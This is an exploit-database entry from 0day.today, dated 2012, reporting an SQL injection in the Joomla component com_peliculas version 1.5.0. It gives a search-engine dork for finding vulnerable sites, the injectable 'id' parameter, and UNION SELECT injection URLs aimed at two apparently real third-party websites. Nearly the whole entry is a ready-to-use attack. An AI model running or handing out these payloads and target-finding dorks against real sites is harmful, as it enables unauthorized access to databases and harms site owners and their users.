Joomla Component com_peliculas Sql Injection Vulnerability

2012-06-20T00:00:00
ID 1337DAY-ID-18716
Type zdt
Reporter AtT4CKxT3rR0r1ST
Modified 2012-06-20T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            Joomla Component com_peliculas Sql Injection Vulnerability
==============================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [[email protected]]
.:. Script         : http://joomlacode.org/gf/download/frsrelease/8828/32610/com_peliculas.zip
.:. Dork           : inurl:"com_peliculas"
.:. Version        : V1.5.0
####################################################################
===[ Exploit ]===

www.site.com/index.php?option=com_peliculas&view=peliculas&id=null[Sql Injection]

Example:

http://www.pasadizo.com/index.php?option=com_peliculas&view=peliculas&id=null+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
http://www.lucenalia.com/index.php?option=com_peliculas&view=peliculas&id=null+and+1=2+union+select+1,2,3,4,5

####################################################################



#  0day.today [2018-04-14]  #